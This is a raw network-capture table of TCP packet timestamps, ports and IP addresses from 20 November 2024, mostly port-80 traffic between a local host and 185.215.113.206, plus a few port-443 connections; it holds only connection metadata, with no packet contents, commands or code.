Nov 20, 2024 23:12:28.264384985 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.264439106 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.266413927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.266474962 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.266556025 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.266609907 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.268579006 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.268651962 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.268733025 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.268789053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.270689964 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.270754099 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.270800114 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.270853996 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.309963942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.310022116 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.310101986 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.310971022 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.311222076 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.311363935 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.311424017 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.311444044 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.311491013 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.313440084 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.313493013 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.313569069 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.313617945 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.315507889 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.315562963 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.315649986 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.315699100 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.317609072 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.317850113 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.317912102 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.319926023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.319988012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.320058107 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.321646929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.321700096 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.323273897 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.323451042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.324316978 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.324333906 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.324378967 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.324410915 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.325527906 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.325578928 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.325606108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.325656891 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.327192068 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.327305079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.327373981 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.328958035 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.329065084 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.329125881 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.330719948 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.330770969 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.330815077 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.330856085 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.332508087 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.332561970 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.332564116 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.332609892 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.334211111 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.334270000 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.334306002 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.334355116 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.335876942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.335971117 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.336040974 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.337690115 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.337781906 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.337851048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.339279890 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.339345932 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.339356899 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.339399099 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.340981960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.341048956 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.341114998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.341161013 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.342613935 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.342684031 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.342765093 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.342817068 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.344270945 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.346184969 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.371421099 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.371875048 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.371891022 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.372318029 CET	49717	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.372323036 CET	443	49717	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.384159088 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.384198904 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.384232998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.384263992 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.384270906 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.384299994 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.384315014 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.384840965 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.384901047 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.385015011 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.385071993 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.386272907 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.386344910 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.386364937 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.386416912 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.387501955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.387552977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.387593031 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.387648106 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.388794899 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.388832092 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.388848066 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.388942003 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.389956951 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.390016079 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.390106916 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.390161991 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.391263008 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.391324997 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.391426086 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.391484022 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.392616034 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.392672062 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.392755032 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.392806053 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.393872023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.393923998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.394007921 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.394067049 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.394623041 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.394679070 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.394815922 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.394871950 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.395891905 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.395948887 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.395967960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.396020889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.397136927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.397188902 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.397243023 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.397310972 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.398415089 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.398463964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.398509026 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.398571968 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.399640083 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.399710894 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.399749041 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.399789095 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.400944948 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.400969028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.400999069 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.401015043 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.402163982 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.402219057 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.402270079 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.402321100 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.410748959 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.411117077 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.411138058 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.411534071 CET	49718	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.411539078 CET	443	49718	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.440107107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.440123081 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.440187931 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.440294981 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.440310955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.440352917 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.441375971 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.441427946 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.441539049 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.441593885 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.442603111 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.442657948 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.442703009 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.442749977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.443892956 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.443957090 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.443983078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.444041014 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.445152998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.445178032 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.445207119 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.445225000 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.446389914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.446439028 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.446502924 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.446549892 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.447674990 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.447727919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.447799921 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.447849035 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.448894978 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.448946953 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.448986053 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.449035883 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.450136900 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.450160980 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.450191021 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.450207949 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.451411963 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.451472998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.451512098 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.451564074 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.452656031 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.452702045 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.452828884 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.452877998 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.453902960 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.453954935 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.454014063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.454061031 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.455219030 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.455271959 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.455296993 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.455353975 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.456456900 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.456513882 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.456564903 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.456646919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.457690954 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.457746983 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.457809925 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.457860947 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.458957911 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.459012032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.459074974 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.459134102 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.511189938 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.511307955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.511420965 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.511817932 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.511878014 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.511924028 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.511996031 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.513088942 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.513159990 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.513196945 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.513246059 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.514344931 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.514401913 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.514439106 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.514489889 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.515583992 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.515660048 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.515700102 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.515752077 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.516851902 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.516906023 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.516907930 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.516954899 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.518110991 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.518163919 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.518204927 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.518254042 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.519388914 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.519447088 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.519545078 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.519608021 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.520654917 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.520709991 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.520809889 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.520864964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.521908998 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.521986008 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.521994114 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.522042990 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.523195982 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.523252010 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.523278952 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.523325920 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.524410009 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.524467945 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.524540901 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.524594069 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.525671005 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.525727987 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.525785923 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.525837898 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.526925087 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.526978970 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.526979923 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.527030945 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.528147936 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.528203964 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.528352976 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.528407097 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.529522896 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.529582977 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.529638052 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.529689074 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.530642986 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.530695915 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.530705929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.530775070 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.531891108 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.531944036 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.531981945 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.532037020 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.533148050 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.533200979 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.533253908 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.533309937 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.534364939 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.534425974 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.534462929 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.534517050 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.542242050 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.542783976 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.542800903 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.543241024 CET	49719	443	192.168.2.7	13.107.246.63
Nov 20, 2024 23:12:28.543248892 CET	443	49719	13.107.246.63	192.168.2.7
Nov 20, 2024 23:12:28.583594084 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.583652020 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.583746910 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.584129095 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.584358931 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.584434032 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.584444046 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.584501028 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.585472107 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.585664988 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.585726023 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.586599112 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.586730003 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.586780071 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.587852955 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.587909937 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.587970972 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.588829041 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.588891029 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.588916063 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.589967012 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.590054989 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.590111017 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.590172052 CET	49710	80	192.168.2.7	185.215.113.206
Nov 20, 2024 23:12:28.591073036 CET	80	49710	185.215.113.206	192.168.2.7
Nov 20, 2024 23:12:28.591181040 CET	80	49710	185.215.113.206	192.168.2.7
